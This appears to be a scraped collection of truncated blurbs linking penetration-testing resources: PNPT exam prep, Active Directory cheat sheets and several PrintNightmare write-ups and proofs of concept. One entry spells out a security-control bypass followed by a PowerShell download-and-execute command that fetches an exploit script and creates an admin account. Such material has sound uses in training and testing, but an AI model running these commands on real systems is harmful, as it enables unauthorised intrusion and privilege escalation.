Practical Network Penetration Tester Certification (PNPT) Originally for the OSCP Now for the PNPT certification test for a lot of reasons including cost, ability to retest for free, and lack of software restrictions certificationstcm-seccom/pnpt/ ABOUT THE PNPT EXAM The PNPT certification exam is a one-of-a-kind ethical hacking certification exam that assesses a s

Redsheet Red Teaming & Active Directory Cheat Sheet ## PowerShell 32-bit PowerShell C:\Windows\SysWOW64\WindowsPowerShell\v10\powershellexe 64-bit PowerShell C:\Windows\System32\WindowsPowerShell\v10\powershellexe Avoid truncation <do_something> | Out-String -Width 10000 Check NET version [environment]::version Then check the build on: h

Sponsored by       PowerSharpPack Many useful offensive CSharp Projects wraped into Powershell for easy usage Why? In my personal opinion offensive Powershell is not dead because of AMSI, Script-block-logging, Constrained Language Mode or other protection features Any of these mechanisms can be bypassed Since most new innovative offensive security projects ar

CVE-2021-1675 - PrintNightmare LPE (PowerShell) Caleb Stewart | John Hammond | July 1, 2021 CVE-2021-1675 is a critical remote code execution and local privilege escalation vulnerability dubbed "PrintNightmare" Proof-of-concept exploits have been released (Python, C++) for the remote code execution capability, and a C# rendition for local privilege escalation We

A cheatsheet of tools and commands that I use to pentest Active Directory.

Pentesting Active Directory This is a cheatsheet of tools and commands that I use to pentest Active Directory It includes Windows, Impacket and PowerView commands, how to use Bloodhound and popular exploits such as Zerologon and NO-PAC Enumeration Initial system enumeration See local accounts net user See all of the accounts in the domain net user /domain Check if an acc

SpoolSploit A collection of Windows print spooler exploits containerized with other utilities for practical exploitation Summary SpoolSploit is a collection of Windows print spooler exploits containerized with other utilities for practical exploitation A couple of highly effective methods would be relaying machine account credentials to escalate privileges and execute malicio

CVE-2021-1675 - PrintNightmare LPE (PowerShell) Caleb Stewart | John Hammond | July 1, 2021 CVE-2021-1675 is a critical remote code execution and local privilege escalation vulnerability dubbed "PrintNightmare" Proof-of-concept exploits have been released (Python, C++) for the remote code execution capability, and a C# rendition for local privilege escalation We

CVE-2021-34527 - PrintNightmare LPE (PowerShell) Caleb Stewart | John Hammond | June 1, 2021 UPDATE June 2 2021: Microsoft has released an advisory on CVE-2021-34527, correctly terming that specific identifier as the PrintNightmare vulnerability exploit Previously, the community was assuming CVE-2021-1675 "was PrintNightmare" as the June 8 path did not resolve th

cve-2021-1675 #disble amsi: (copy into powershell) rawgithubusercontentcom/jj4152/cve-2021-1675/main/disable-amsitxt #execute invoke-script iex (New-Object NetWebClient)DownloadString('rawgithubusercontentcom/jj4152/cve-2021-1675/main/Invoke-Nightmareps1') #create admin account Invoke-Nightmare -DriverName "Xerox" -NewUser "admin

This is a PrintNightmare POC I wrote in my endeavour to better learn C, the WinAPI, and exploit/malware dev

CNightmare - CVE-2021-1675 POC Warning Obviously, this exploit has long been patched, however, I have no doubt there would still be systems around that are vulnerable to this kind of attack Therefore, under no circumstances is this exploit to be used on a system which the individual running the exploit either does not own or does not have explicit permission to do so Descript

Videos and Commands from GOAD lab

AD from 0 to Hero Reconocimiento de Red Escaneo de red: Nmap | Netdiscover | ICMP-SCAN Recopilación de información web: EyeWitness Localizar ip de DC: NSLookup Enumerar ldap: Nmap Sin credenciales Accesos sin credenciales (Null Sesion y anonimo) y carpetas compartidas: Enum4linux-ng | Crackmapexec Obtener solo usuarios: Enum4linux-ng | net rpc | Crackmapexec